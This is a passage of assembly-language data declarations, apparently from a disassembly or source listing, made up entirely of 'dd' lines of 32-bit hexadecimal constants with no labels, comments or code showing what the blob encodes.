		dd 44CAC5FAh, 83967FD8h, 18A7EC02h, 48549274h, 398BEA4h
		dd 0FD797E8Ch, 0A2BF63CBh, 0F840D8C6h, 930058BBh, 0EBF33B64h
		dd 12CA5250h, 41E496h, 0AD590A98h, 0FC907310h, 45615507h
		dd 0C2A054DAh, 16CF42F6h, 7E9788h, 0CF967E1h, 0C300E82Ah
		dd 5EF43E34h, 206BAFh, 89A26921h, 0FD6E16FEh, 0E8E7B000h
		dd 37AF5FC0h, 0E9D09015h, 1E45E809h, 6B004C9Ah,	6B22081h
		dd 0EC88DF0Ah, 287A0064h, 0A2E5A095h, 91002B05h, 3645BB48h
		dd 240C83Ch, 93B93119h,	10401834h, 9900F32Eh, 49A66B81h
		dd 0B83A5BDAh, 0DE130004h, 617F8AB3h, 0FC000450h, 0DFF5EB93h
		dd 9BE00Ah, 0C34F94CEh,	81074284h, 0AD459900h, 0AF6A6E1Ah
		dd 8D5400C0h, 502A3F71h, 2409C612h, 0CCDBFAh, 3687D342h
		dd 50E34C85h, 5CCB2C00h, 67A5B7D4h, 2E40F13Dh, 8800B6C2h
		dd 7255314Bh, 0CD2A0257h, 49208082h, 0F1715C41h, 693FE89Bh
		dd 0BD2E0B00h, 8DED1722h, 0DB8F0E2Fh, 3184A5E2h, 4B58C0C0h
		dd 87B0EF7Ch, 9EC9732Eh, 8E1B8200h, 1EB1CB31h, 0C3B3AA36h
		dd 37C84B43h, 5397AFC0h, 0AC248101h, 7056741Eh,	5E78A140h
		dd 9065003Eh, 88D4C31Bh, 985CF772h, 0D05A008Eh,	9AE7746Ch
		dd 9ABE7008h, 24A5F400h, 8C911Bh, 27CED3B4h, 0B630090Ch
		dd 7EB72028h, 51AE0022h, 83DF9BB8h, 0D207F572h,	19C164E2h
		dd 76DE7AC0h, 0A35F073Dh, 11CB8E6Fh, 40D838CEh,	965B3CA0h
		dd 11576030h, 0CD0E8A2Ah, 0BD10D660h, 0B84E0260h, 0E0E6387Bh
		dd 370E1BAh, 199635C7h,	9DB03C08h, 5B007A40h, 9AC91F4Eh
		dd 0F78865h, 81290AFDh,	2BD31538h, 0D62CA9A0h, 0E922E890h
		dd 9C2901B6h, 1CEBA4FFh, 1E8BA9Dh, 8ECB033Eh, 5060086Ch
		dd 32150452h, 80447E14h, 4B64A78Ch, 9DBC318h, 2CEE97DEh
		dd 846C99E9h, 0BF63FDEBh, 8883C0C3h, 8EDC80h, 0DF5F7E3Fh
		dd 4068E11Ch, 79E01E00h, 0DE4D88B7h, 7BA201A1h,	984B77CBh
		dd 2BB2F8EBh, 94E73Eh, 0CE0A8C83h, 87EA0Fh, 0B939F44Fh
		dd 0BD43DB8Dh, 0C79F1C12h, 47E7140Fh, 0BB3CCBh,	0CE3E2B15h
		dd 483977A6h, 10010BFh,	0F74EDAABh, 2A004BA4h, 3D179723h
		dd 30317819h, 0D0688988h, 52045733h, 0C24C5479h, 0C5E1480h
		dd 0A5028F8Dh, 0C8A0F85Bh, 2CCFAA10h, 0AC80DB27h, 23063894h
		dd 20215BE7h, 0B72D4C03h, 98053029h, 0AECCF5h, 0DF208431h
		dd 18274547h, 9892B4A2h, 90997C90h, 0BE2CF107h,	8A112139h
		dd 6470AF58h, 0A14A263Fh, 8A50034h, 0B54EEC8h, 0C336A400h
		dd 1A62758Eh, 48340029h, 0A0D5F2B7h, 97730C63h,	5651871Ch
		dd 0C7800CE4h, 992CA821h, 0F6060EF4h, 0C180E379h, 0ED6DEC8Bh
		dd 95596100h, 92557CB1h, 1B12006Eh, 67E25E7Fh, 0BB004535h
		dd 0C07AE672h, 40254DBh, 0D8BC66DDh, 0B23827Eh,	0C50DC0E0h
		dd 5C5F5007h, 3610188Ah, 7B38DFFh, 0C1028C68h, 3717E07Ch
		dd 0F745079h, 0CA00FEBAh, 4BB2CB23h, 3FCDD954h,	0A1002187h
		dd 0F618362Ah, 0E707CA8Ch, 0BFC37FCEh, 40269042h, 24CDA663h
		dd 3D944E11h, 6CA82Ch, 733E2078h, 0D63A1427h, 0CAEC0188h
		dd 3CC1DC3Fh, 0AB0ACC40h, 13BD00C7h, 0A9EB7D3Eh, 0B00FFEDh
		dd 2D4B9377h, 3DC2E89Ah, 19008AB4h, 9BE413B9h, 0CA013D0Ah
		dd 80A55BFFh, 0DC70BCD2h, 0AD0701DCh, 47441CEh,	4BE3E0AAh
		dd 0D4001977h, 0DA3C96BFh, 0DD307h, 0CADFD864h,	0A693DD6Bh
		dd 80444038h, 4ABCD2Dh,	30F6A9h, 0D3C0B064h, 0B29AC47Ah
		dd 17C2FE0Bh, 5C08A09Ch, 4A9457h, 0C6CC093Bh, 0F2D0DCCAh
		dd 0FE17480Ch, 903ACADh, 0B4463D2Ch, 9471EA80h,	13015023h
		dd 12C428C6h, 4730BBA0h, 0FD380070h, 324C3D74h,	0BF4EAF80h
		dd 23550000h
		dd 35E817Ah, 0B61633D6h, 46C8A584h, 43099935h, 0F7ED9C95h
		dd 36E2C600h, 5500BC45h, 0C76AD60Bh, 1420DAh, 76BFA2DEh
		dd 10306713h, 8061790Ch, 0E6D96055h, 8C3900E0h,	71C1B978h
		dd 0CD17B8A8h, 4807B19Eh, 6CF8072h, 0F130896Ah,	0EFD628A7h
		dd 3380F51Ch, 0D13E6C9Dh, 0B1C30050h, 1EA6BF68h, 7004A87h
		dd 3CD818F5h, 26E3E62h,	77DC65C8h, 0CB62AFBBh, 30FF5040h
		dd 0B13CFA07h, 0F1B0CCD0h, 9018A0ECh, 9FD7510h,	39E1D822h
		dd 0E5C8D863h, 3A745874h, 0CEF05406h, 0A9A17Ch,	0C9F8B950h
		dd 316E1908h, 0D9AA6218h, 0EE9968h, 0E8E2C25Eh,	6CFCD69Bh
		dd 2BB70A03h, 0E0BA3D08h, 79A1998Bh, 4D76FEh, 3C37C7CEh
		dd 0B8C0AEE5h, 9D59A800h, 0F2438AA9h, 0D3D93FDCh, 0F338C486h
		dd 0A1001883h, 0E61DB20Ch, 793C386h, 0A86E37A7h, 7A206CE1h
		dd 0E307B2FAh, 96C35EEBh, 0B48609D0h, 7127E6E5h, 3C4807AAh
		dd 7618EC65h, 750C18BFh, 409E95A8h, 6A3F3CEBh, 0AB11390Fh
		dd 52236F01h, 0C286F02Dh, 8D6FD178h, 650D00E0h,	183B44B4h
		dd 0F9EF2B3Ch, 21C65054h, 1889BEE6h, 51433875h,	0C30CB578h
		dd 0D198DA58h, 150EC1Ch, 72B78754h, 80C34D8Eh, 213ED040h
		dd 60367977h, 62C248CCh, 0F30C9CD1h, 285F0267h,	3D927CC0h
		dd 74066A4Fh, 60CF047Ah, 72713A60h, 1B0A349h, 0FD1A0246h
		dd 0C4F68494h, 1400B431h, 43DC78FCh, 60670Eh, 0F7A5332Ch
		dd 0DB905109h, 15E60D00h, 5C6C20A8h, 72D1EB6h, 3D388066h
		dd 0D723FFFDh, 0F7BF2803h, 0E8099545h, 3E1447AAh, 0BC05B916h
		dd 40672B02h, 6033258Ch, 0E3011C0Eh, 0E7A4FC3Dh, 0C0D68939h
		dd 39FEBF4Dh, 4F801F35h, 56D71B50h, 6215B816h, 68884A5Eh
		dd 3750448h, 0EC292E57h, 58FB1AE0h, 2B124890h, 58024FC0h
		dd 8F928612h, 9370A0ACh, 311A5F9Dh, 6C29CADCh, 8243114Eh
		dd 9B104C12h, 88889C4h,	188744E9h, 0B99240h, 0CA38CD3Fh
		dd 0AC0A6B32h, 190E01B0h, 60CE4AFDh, 7399692h, 0F69302AEh
		dd 0E437F909h, 5F446F60h, 4FE13C03h, 0E8B73E8Bh, 50E74FEh
		dd 0E05ED023h, 6DD58365h, 0F001EA9Bh, 0D23F51ACh, 17EC5F54h
		dd 9CBE0167h, 6B682C1Ah, 50E1D8F7h, 0A9460700h,	4DB98936h
		dd 9AB30021h, 5FCE17DDh, 0E8039822h, 0A5EB6CE2h, 1C0898EFh
		dd 4AE665h, 7212065Eh, 9C355C2Ah, 2F072671h, 9F64E232h
		dd 0A4F917D0h, 37630051h, 50DD8044h, 0FEB07AECh, 0E164F101h
		dd 54B325EAh, 1080F6F5h, 7909457Fh, 0F9E07270h,	9092B2E6h
		dd 0D6D2500h, 86F7E818h, 0A948004Bh, 70EDFCCEh,	0C10B3511h
		dd 1F178Eh, 6C5BE19Eh, 0F8B77004h, 6E9088h, 2703B43Dh
		dd 3E100DA4h, 0AC4C5C00h, 0C91CD09Fh, 6519002Fh, 39B3AE1h
		dd 391D5EA3h, 4683A498h, 0EE3385C8h, 16D70010h,	2259C069h
		dd 4400D1CEh, 624F5E57h, 942055h, 457CC9DDh, 0D6F72E3Bh
		dd 0EF6A0600h, 1A19DB8Ch, 3487FC1h, 0B14CD216h,	0FCD84930h
		dd 9D002870h, 89CEF2FBh, 1F5AD607h, 801A8AB2h, 9404478Ch
		dd 6C008711h, 8F0F2150h, 334BC27h, 3FADCE3Ah, 6B90D5E3h
		dd 3B008EAAh, 8A110829h, 48C92E8Fh, 0B1187CE7h,	7A894898h
		dd 63133E00h, 70DE2349h, 0EC0A14D2h, 0BF00C84Ah, 690E8B6Dh
		dd 0BB1E5FF0h, 1243CB5Ch, 98189883h, 1F22AFA6h,	0A4C720B2h
		dd 0CD0D8038h, 0ECA0D90Bh, 3ACAB51Ch, 0C6A25400h, 0DA596Ch
		dd 27261DD4h, 9C50D2C9h, 47CDFB00h, 588BDC0Ch, 0F03D00B8h
		dd 0BEAB0F76h, 1EB0EC31h, 0BC002A7Fh, 2965859Ch, 745E1423h
		dd 6E660087h, 0F6693AE0h, 47076018h, 0A14572A0h, 553DDCB0h
		dd 0F88C00CAh, 74E21FBAh, 5A00060Ah, 0C4AFE989h, 78E41230h
		dd 51A70207h, 6C5CF09Dh, 33A2BB80h, 3C00B317h, 6F57AB1Ah
		dd 1F9A32Ah, 0DD642067h, 0C096510Fh, 915014B0h,	20069F6h
		dd 0CFCA6BFCh, 0F388078h, 0F432551Dh, 1600B0CEh, 659BEDD1h
		dd 0ADAF3401h, 15352A57h, 0C31AE4h, 0A4C29E23h,	8AE08129h
		dd 8CF52C00h, 1F86B7B9h, 1DC40051h, 95E7CDA3h, 19F02672h
		dd 0D29CC700h, 91E96017h, 1E6498B6h, 40236340h,	0B5B17852h
		dd 0C00AA81Bh, 9C92E6BAh, 74F01300h, 0C8354Ah, 61A755A4h
		dd 0BB7C8E30h, 5FA33D00h, 5803A848h, 0E09C3E1Eh, 0EC070174h
		dd 0B5631A84h, 8B183070h, 360022F8h, 8DBB5331h,	10F60Fh
		dd 18153AD4h, 0C557761Ch, 0F342231Bh, 515FF018h, 0AAAB3A60h
		dd 0E93DDD80h, 5C7925B3h, 10D10303h, 0B05A870Dh, 4B16BEh
		dd 19685FF2h, 0ECF8CA86h, 70A7F24h, 0A22F0600h,	798CF2C4h
		dd 7711002Dh, 9FD7DB96h, 35009492h, 6C6FBEFDh, 0DA984Fh
		dd 64501524h, 8E2166E9h, 0F6EDCB00h, 0A8B40D19h, 51D40371h
		dd 0B0A1897h, 3DB36000h, 45AA2C59h, 5B22077Ah, 0D0A34693h
		dd 274958BAh, 1494B209h, 6AA480F0h, 0C51519h, 0CFD71FD3h
		dd 0ABF2BDE1h, 0C0C17000h, 0A45E9977h, 4EEA93h,	0F76CBC4Bh
		dd 0EE19666Eh, 24844300h, 2EAA475Fh, 0F26300B2h, 0BDEC3D15h
		dd 6004CBCh, 0C4D9C597h, 9E6AAAh, 234B18AFh, 1478A4E0h
		dd 6355A816h, 0F7202007h, 6C2D22B0h, 7FC928C2h,	2F9700B0h
		dd 855C10Eh, 0E7099245h, 0A8C705ACh, 0D00919Ch,	1294B714h
		dd 657B1D95h, 78390484h, 0DB9C809Bh, 8C038BBBh,	0DD825489h
		dd 11480E8h, 0D9F2041Fh, 0C006A0B8h, 0B93C0D1Fh, 1A853B00h
		dd 0AC2FB24Ch, 98A800A6h, 939AEF7h, 520E8061h, 7D93A8Fh
		dd 0BE904085h, 62504Dh,	0D26C39C0h, 58158223h, 666D0400h
		dd 0F81F049h, 98651C21h, 0CAD08E80h, 24AA2938h,	8059C539h
		dd 1C69F838h, 0E0574F92h, 44B300B5h, 0F39D53E5h, 5005542h
		dd 375F5162h, 3280F3Fh,	85BE267Ch, 0E5FA0992h, 0FB7D8460h
		dd 1500A07Ah, 0DF87BA6Dh, 616F5Ch, 3E824DF0h, 52833AC8h
		dd 434EE900h, 3FE470D8h, 271E4E0h, 7C58DF96h, 9BE23407h
		dd 784A7860h, 0E0005FE4h, 0D994E391h, 0E76F05h,	435E708Ah
		dd 75F3A8DEh, 9C63367Dh, 801BB070h, 1D5627C4h, 0BCBA26h
		dd 651A864Fh, 0A9000F1Dh, 6778AB9Ah, 1ED5A89h, 57C2D76Bh
		dd 0E8F723A1h, 754CDC72h, 61B91C68h, 631F7F41h,	9DDC338Eh
		dd 4DA71839h, 0CB351064h, 2FE4D501h, 53603DBCh,	9C4087FBh
		dd 39B448Ch, 0D1C794A1h, 0AE803C70h, 0DE09E603h, 1651471h
		dd 9A826A82h, 0FB5FEA20h, 0CC1D8DCh, 8BA34864h,	2600D640h
		dd 620FB3EDh, 0D88E8h, 0AB15CF75h, 0CAF94D3Eh, 119DC000h
		dd 0E7CC04ADh, 0C2070008h, 3AD73428h, 0CD009572h, 0A6760F61h
		dd 0F64A4182h, 9BF00E0h, 0F0A52399h, 0E45073F1h, 0B80051DCh
		dd 0B92989E7h, 4B45Dh, 1483C368h, 0EC4BAAF1h, 6F3B12F6h
		dd 0CC29800Dh, 0B6DAC05Ch, 36CD006Bh, 237844E3h, 82024F07h
		dd 7C62BAD2h, 0EFED0149h, 0D905E8ABh, 3074B900h, 0CF6CCA3Ah
		dd 73DE07B1h, 513B5A46h, 24D0E650h, 9E00E298h, 0F4DF1A16h
		dd 26C8F071h, 1D9C05AFh, 0F8043EC1h, 814AEFEEh,	309BD1ACh
		dd 0E8E6482Ch, 920CF9FCh, 0A46E2B25h, 367A2EEEh, 4E69004Ch
		dd 3FDF07C9h, 31B65002h, 6497E509h, 9A84006Ch, 55A79CFDh
		dd 3F73F95Ch, 0C490377Fh, 0BE004A72h, 0D4C583A0h, 6A347Fh
		dd 9D38CDACh, 0E1096245h, 46FC6500h, 5CA3FBCh, 4F1F2582h
		dd 0B545C80h, 100152DEh, 0A660F030h, 6BD5C05Bh,	7319AC30h
		dd 1E0980Eh, 0DF647884h, 72BCE1EEh, 0F6BD001Ch,	0A8C424CEh
		dd 0AE6B38A5h, 0E31BDF00h
		dd 6125CC3Dh, 0D3007CF4h, 45D639E6h, 7B04FF54h,	5AEFC82h
		dd 0C3432867h, 0DDA04063h, 9F244E50h, 3900DEF4h, 5707D169h
		dd 7531AE1Eh, 448010Fh,	94F4137Eh, 15A030F2h, 23D64607h
		dd 7AD09C80h, 39E1332Bh, 3E0012B7h, 1C6B490Fh, 16038A4Dh
		dd 0F8D6C4A4h, 7273C8D5h, 779400F9h, 0E39683A3h, 20C615Dh
		dd 38444EB6h, 8A660048h, 797A2CD5h, 8600C6F1h, 64C3D22Eh
		dd 7DF0E5A0h, 12AF00ADh, 7D9150BBh, 1D78C148h, 3130CE71h
		dd 2E8DA9E3h, 95F200C8h, 4DF3395Fh, 0B100690Fh,	5E05B656h
		dd 1E513Ah, 0DD6F649h, 0C5C2AFCh, 0A2008FF8h, 0BE13852Ch
		dd 701ED5h, 868C6618h, 463F4F49h, 98009496h, 0E4368778h
		dd 0CB410937h, 0CF80E63Bh, 0F8A696CCh, 0FAFE1A00h, 0EFA99984h
		dd 1DCA00EBh, 0CC5BC063h, 0A63D8FD4h, 45578075h, 0C21C20D8h
		dd 7F2A0C71h, 5E60B723h, 7258B979h, 80E7007Fh, 0D0FED6A2h
		dd 649B0912h, 0AC628CC4h, 0FFB21019h, 6CAE17A0h, 0A1E83927h
		dd 0B6741A14h, 2FBB5980h, 0D771C390h, 56008F7Bh, 0EA996662h
		dd 736164FDh, 0A05000A7h, 0F68394Bh, 1A07E6D0h,	5D19626Eh
		dd 788171D0h, 0E7CA00C5h, 65D66BB2h, 0B60F6AEFh, 42CF79FCh
		dd 0E0945BC6h, 0B88DB93Dh, 0A058005Ah, 1031CB7Ch, 553E8BD0h
		dd 50630773h, 0DC40F734h, 5CEA77CAh, 6B17A222h,	4DCB077Dh
		dd 0B2D633Fh, 28FDCDF9h, 63C20AACh, 114080AAh, 3A76C60Ah
		dd 640E020Dh, 556AA3F7h, 8846490h, 0C392037Ah, 42E0DCB1h
		dd 86014943h, 0F4F8C2DDh, 8B718B30h, 2C759439h,	0C4F5A2h
		dd 8DCF2C15h, 38006F4Ah, 0C5112E22h, 733A16h, 0A94C12D9h
		dd 50E2F4BBh, 0F3236A03h, 0C54F3D1Bh, 0EA119300h, 0F60182E4h
		dd 0A0341E4Bh, 7EC4C03Ch, 335261E3h, 0CD5E2800h, 490E40AAh
		dd 302AF2F4h, 0C3C05F01h, 0DE03BD07h, 2B418EA5h, 17197926h
		dd 2204FAh, 6A2047E6h, 0C40082BEh, 0A6D5587Ch, 41DB3E6h
		dd 26AA984Eh, 0E24CE02Ah, 0EF7B5900h, 39E5E4A5h, 9FA0081h
		dd 0CF7D12CCh, 1C60107Eh, 96A8C860h, 83D9E39Eh,	0AA2389Fh
		dd 0AC6312h, 0C32FACC1h, 0C8A8D0D6h, 0C00071EAh, 2915C8E9h
		dd 2F71037h, 38E3AF73h,	3C48B909h, 68C0766Fh, 8E66A9C9h
		dd 0A2B0D9h, 192559F7h,	0AC01D1D0h, 0D23F8613h,	0BCEB4090h
		dd 230B062Ch, 71D7D1BFh, 0B1B68000h, 24AEF1C4h,	6B1F0222h
		dd 2CD4566h, 370FE07Fh,	77595D9Fh, 0A4C8B600h, 95EE3839h
		dd 81BD7A3Eh, 4EC35EECh, 7630A89Bh, 19DA03FBh, 0E24B7C81h
		dd 4EE1129h, 6A1698F8h,	301015h, 0F1DE042Fh, 0E700B439h
		dd 0AE9FE0EEh, 1895404Bh, 28F2510Eh, 240B135h, 0C4B34065h
		dd 6909A900h, 3ED7ACCCh, 1DF87FBAh, 853549CAh, 2292D6h
		dd 503470D0h, 18006DDFh, 49F90159h, 25773Eh, 2FA45140h
		dd 0F78D60D7h, 0E228BA1Eh, 324BE980h, 66E89Ah, 0CAD52CE5h
		dd 9C5E3119h, 20004C72h, 6D609F1Fh, 362991Ch, 83DA46ABh
		dd 68014F66h, 74EF6790h, 9F40CBD1h, 0EEBED82h, 0B9D31751h
		dd 3911E8ACh, 0FC312509h, 73808003h, 0FF45EEh, 0B4E9C69Eh
		dd 0CD1991D0h, 80E0233Fh, 7C3C57F9h, 0F387F6A8h, 0E6C0A854h
		dd 0A1D373h, 0C0E2394Ch, 0EDB951ECh, 948EC900h,	2D68B63Eh
		dd 46E43Ah, 0A54312B5h,	13361485h, 0BEF68300h, 8A3BFFD9h
		dd 3E5A0023h, 2E454FD3h, 0F201B692h, 58D96E14h,	0A2C460E4h
		dd 0C6360455h, 0C3724CD3h, 0AFC87702h, 823ACE3Eh, 9AB8061h
		dd 0C814FDB4h, 0EF1F2665h, 1CDD00F7h, 0F952819Bh, 99267600h
		dd 5720C4D1h, 1ABC0090h, 0E767EF61h, 2F0177E2h,	5D383B02h
		dd 3F2013B5h, 627A1853h, 1D6CF00Eh, 777E4D00h, 61413AEBh
		dd 70C800E2h, 31110174h, 0FD000836h, 0E4125C2Dh, 73D9F1h
		dd 0BAB94171h, 0ABCBD3DEh, 0B200E971h, 0BCC1BEAAh, 1FB8359h
		dd 10A4A514h, 0C006D756h, 19C0CB21h, 0DC920E78h, 4EDB2488h
		dd 84B703B7h, 30B0F6B9h, 0A9005E4Fh, 0BB56F101h, 4542C0h
		dd 74F07C9Ch, 0F3840FD7h, 87346200h, 76D97AF2h,	49513CE9h
		dd 373E2080h, 0D6E1670h, 0BED5A09h, 979000FAh, 7E047F80h
		dd 0F46009Fh, 0B760304Dh, 47E47A3Dh, 4FA90700h,	0F910651Bh
		dd 0C0D92E6Dh, 0A0860093h, 0B69185EFh, 7B94BD00h, 83B0F969h
		dd 786660E5h, 0D8EDB8A5h, 0AAD8E03h, 690E7Dh, 0EFD36C18h
		dd 733FC255h, 0F4AE8A00h, 2C9227CAh, 8284A8A6h,	5AE53AC8h
		dd 20B46003h, 0B0C6507Ch, 44452700h, 583B895h, 0C3803CACh
		dd 72511305h, 0A8D4407Bh, 0E41C8E22h, 31408900h, 794DE655h
		dd 197B0077h, 21A903BFh, 0D9003642h, 0BCF7ED52h, 6F40FD8h
		dd 9C670BE0h, 21D197Bh,	0CB80ACD6h, 9B32B995h, 0F59A24C2h
		dd 4BE300A8h, 13FEE14Ch, 13C6473Eh, 6F1E9503h, 24B60A45h
		dd 6358BB82h, 8ED99844h, 294C0078h, 0EBD6FD81h,	0C09E15Bh
		dd 9BA6474h, 0DADE00A4h, 0B72CE3Fh, 59FED16Bh, 0D89CBC01h
		dd 0F0CCC00Ch, 0DF0077ECh, 1BA3489Eh, 3DF84E18h, 96BD9367h
		dd 1C9D4700h, 0F71E4EDh, 4CD62C26h, 46AF2501h, 32F8697Eh
		dd 20C60E1Eh, 0DB010BBDh, 80A0D8EEh, 56B4CD0h, 3D96822Bh
		dd 7A006580h, 95DA0925h, 0C6007F1Fh, 97B5A0A4h,	25FD052h
		dd 0E99C5DCDh, 8E006F84h, 9A33AC11h, 85103C60h,	97C72380h
		dd 553CD3BFh, 1FEB4000h, 0E99534A0h, 0ADDD007Ah, 0A94D0AAAh
		dd 8060D4B9h, 0F7707F48h, 0A21E0051h, 0FCE33354h, 6F0CDF1Dh
		dd 402C3122h, 9020F15Fh, 0A37C00BEh, 0F4066718h, 6B0029CCh
		dd 0D3F39933h, 3F009CAh, 834A149h, 6401C6D0h, 0FEBA4B0Ch
		dd 25EC87D6h, 3F470F2Dh, 0FD43F77Ch, 6000283Eh,	30935136h
		dd 7FB9E45Fh, 0B39000FBh, 0BAFFD5E0h, 6F3C06C3h, 0ED8F821Eh
		dd 40CAFC51h, 0E68AA9h,	40FE56C7h, 5C4FCEF2h, 0F152F307h
		dd 0ED105E8Bh, 0C3D277h, 6E233895h, 0A7C8D3A2h,	766CFF48h
		dd 0A4B8FE01h, 0AED54ADCh, 729904CCh, 6A2404FBh, 8012A10Ah
		dd 3C647FD0h, 1FFDAF3Eh, 0D980CA49h, 8FB5C730h,	0BF700701h
		dd 92BD52E1h, 30C02BA5h, 0A800F8F9h, 0C2FF1D39h, 16FD0h
		dd 8BF7F090h, 65DABB42h, 1C34E705h, 98001BCBh, 931302B5h
		dd 8C7EF0h, 0DA087F7Bh,	0D1E7573h, 0ED634401h, 7E5D17E6h
		dd 6F4E4h, 0ACC31D2Ah, 22B82904h, 0FF6C731Fh, 9F270B41h
		dd 8771D07Eh, 6063F4h, 4D19C6DBh, 509C91F9h, 7AB66F01h
		dd 6114F3CEh, 0E64820h,	0CDA93280h, 0B140271Fh,	1D2BE438h
		dd 77C00BF5h, 0C36C422Ah, 0C05E0E38h, 3C40B65Bh, 0B7A2F7EEh
		dd 358E8F12h, 802CBC49h, 56E18740h, 0B65A0BCDh,	9A008F57h
		dd 33015D32h, 7D19030Eh, 241316DFh, 8F68A901h, 0A1D82971h
		dd 771CE282h, 32AC001Dh, 6269342h, 6D0F0CDBh, 0C0EE861Bh
		dd 6A433933h, 70BC4CA7h, 0EF2CF800h, 45E42556h,	741EC407h
		dd 0DE50100Ah, 17E845Ch, 0BFB999D8h, 0D0D2313Ah, 3890FAA3h
		dd 9AF90D1Dh, 2EF17EC7h, 0C0A01592h, 4C9FFC8Ch,	53003D8Eh
		dd 0CD07EBFAh, 0BB00A494h, 0A8EA3B6Ch, 429397h,	2FA9E9B5h
		dd 25050CA1h, 0F6625200h, 5E6FB171h, 3E96004Bh,	2B68242Eh
		dd 35001569h, 85F61398h, 83A478h, 5C73AC03h, 0FC3BA2B3h
		dd 79004C90h, 0D414AAA5h, 0F87B7Fh, 0CAE609CBh,	438A537Eh
		dd 4E222C02h, 0E04D4737h, 7F18BB94h, 0E6C7656h,	4BDBB5CFh
		dd 0DF1126E0h, 0E0174316h, 0E8003C87h, 8DAAC978h, 74C20477h
		dd 0FDB50FDh, 87156880h
		dd 26E04493h, 4E740891h, 0A3655E14h, 6690C10h, 57E3951h
		dd 7874AE19h, 0A2E9C021h, 0F302373h, 0D8E49CF3h, 0FC8903ECh
		dd 0D4514350h, 0DE41E050h, 9B156300h, 0C26A35FEh, 0EED5006Dh
		dd 5DED2BC0h, 0A5F0F37Fh, 6E859C05h, 8C403D55h,	0C8EA0456h
		dd 0CA102ED9h, 0E3A78190h, 0F4D5EDFAh, 0A9FADC85h, 83918A3Ch
		dd 7A2E9D3h, 0C9900027h, 7DA05855h, 11006735h, 36BAA3B7h
		dd 3A4701Ch, 0F8AEF7FFh, 0F387BEEEh, 83D07385h,	0D3004D2Ah
		dd 0C0FBFA9Ah, 1E3716D5h, 0C31A1701h, 39F295F4h, 0E88F7FB9h
		dd 0CC006007h, 0D403E746h, 7ED90F94h, 0B83D7032h, 2F300097h
		dd 90384319h, 9E005993h, 584E1F45h, 0D1D6A4h, 4B617B81h
		dd 7121E470h, 483CD900h, 0C6282EDh, 0A7A000FBh,	0A1209666h
		dd 0D3006F67h, 4AD236ACh, 1CB9486h, 8BFE5AD9h, 87B8F75Ch
		dd 0D371DDACh, 0F875E580h, 1E3F0423h, 0D060A4D6h, 52DB5780h
		dd 78734E00h, 7D3CAE39h, 0D908C609h, 250020D8h,	0C3D54F10h
		dd 0EABDA9Fh, 0B096611Fh, 8D949EA0h, 87F88A2Bh,	0EED61D03h
		dd 940CEAE1h, 376488h, 0C1BFA10Eh, 0D815E963h, 1425907Fh
		dd 99148050h, 188A074h,	415405A7h, 0E463BE4Bh, 0DE4B4D35h
		dd 0BC112841h, 0C080F9DCh, 9CD5B3EBh, 0DB18DE4Fh, 98C9F6BEh
		dd 6731C1E1h, 8F5FB63Fh, 0E0895640h, 44F36805h,	92E924E2h
		dd 0BEFA431Ch, 0C5568698h, 5FFE9C1Bh, 0E90DA158h, 981C208Eh
		dd 90103E67h, 0F145DD0Eh, 0DE504D00h, 661CD91h,	953F1219h
		dd 0E794C70Ch, 75EE3077h, 4E3CA1A7h, 4EEF626h, 0E6586F07h
		dd 404CC493h, 9718008Fh, 0E8F14CEFh, 76000E02h,	0EB9131BEh
		dd 0D0AB37h, 3CCDAC04h,	650F1AF2h, 72031505h, 9EC07C0Bh
		dd 944A77h, 7FB8B56Dh, 0A858FFA3h, 2076C100h, 59DD8286h
		dd 65F6074Ah, 0B0B08B90h, 1FB81AF4h, 70C2E739h,	8DFA30Eh
		dd 4EB1E104h, 0A1D1C3ECh, 0DC782188h, 0C8DDAC00h, 1297E96h
		dd 445DCF3Eh, 0FC058C77h, 0E27CED0Eh, 921F19B0h, 820C763Ah
		dd 631040FAh, 46B6181Ah, 59C63031h, 0E12AABD4h,	3DD8E05Dh
		dd 61980EBh, 0E3551EA3h, 62480D29h, 91383ADDh, 0FA80F6B8h
		dd 140945A3h, 8ECC448Ch, 0BBA3D600h, 3E4AAF15h,	0F33A01D0h
		dd 3221482Ah, 0C057ECC3h, 0D9C6EF06h, 188B7DEh,	6C5EA2E7h
		dd 0C86B4B69h, 7B6633E4h, 0E799F08h, 316D46C8h,	19D1627h
		dd 0E06888D5h, 1C00F05Bh, 9BC7C328h, 7CC426Fh, 99AC0A14h
		dd 0F3EBE084h, 0ED00D167h, 4BD09348h, 38BC3F3Ah, 0D70AB9C2h
		dd 478C9036h, 980B8AEh,	2D83F4Ah, 2CC600EDh, 52D24732h
		dd 60074C0h, 56FFD335h,	93CAA90h, 3145A084h, 5A952600h
		dd 55008A9Ch, 0D99AD609h, 29B3B9h, 889E0266h, 7AF13B46h
		dd 0E1A2A400h, 7D4D6F81h, 0D5EEC9h, 86298B0Dh, 28155C24h
		dd 128CF4FDh, 525103Ah,	72DDD287h, 3D83A80h, 0DC79009Ah
		dd 27B2884Bh, 0D36314CBh, 0A4C23F30h, 0CD29D800h, 8A016535h
		dd 0F88E657h, 2884A21Fh, 46CFA073h, 74687CEAh, 48948953h
		dd 29444E0Ch, 0E888F280h, 0FAD007Dh, 0B0891053h, 0F5388F70h
		dd 0D682070Ah, 304CE15Ch, 74A522B7h, 8CCE70C8h,	0B7B8DDB2h
		dd 58927937h, 1A15C3h, 6166A0C1h, 0CD848F2h, 0D4AA5C19h
		dd 2111A441h, 9591802Bh, 0BF820D11h, 0E901170Ah, 4840182Dh
		dd 0C76724ACh, 5EF0FF31h, 15B9B82h, 90660458h, 519AB7B6h
		dd 81E38B0h, 823B09CBh,	54051AFDh, 7DC04A36h, 0D8B2C08Ch
		dd 0B50C8F04h, 49A4CEB6h, 79D264CFh, 0E7784090h, 1B124642h
		dd 99A4DBEBh, 800339B9h, 0DCCFD51h, 0A87585B3h,	2AF894h
		dd 0D724B0A1h, 0AE29BBB4h, 0ACDC9A10h, 68CA220Eh, 0B9241890h
		dd 1CFF4D69h, 16DD04Ch,	0FB9BD1DAh, 5869F842h, 527EB780h
		dd 2022B490h, 4EC83F03h, 0D6B9DA1Ch, 8DAC2229h,	8853D8F5h
		dd 28134C05h, 8043AD76h, 0AB89373h, 4AFDB779h, 0D49942F0h
		dd 8817692Ch, 0A3008BF5h, 0D7B8CF09h, 0CE96DCh,	0F232B1FEh
		dd 0DE9293A6h, 223424EBh, 47734484h, 7F58BC00h,	32C33C97h
		dd 0F8190264h, 250BEECFh, 22A7D081h, 3259102Dh,	0D07F01h
		dd 5EA9136Fh, 1B216A53h, 0AA365802h, 0A08615FDh, 0FE8B75A0h
		dd 0A999E6B2h, 610CEA8h, 0EE008143h, 0CB5661FBh, 7A1A8A35h
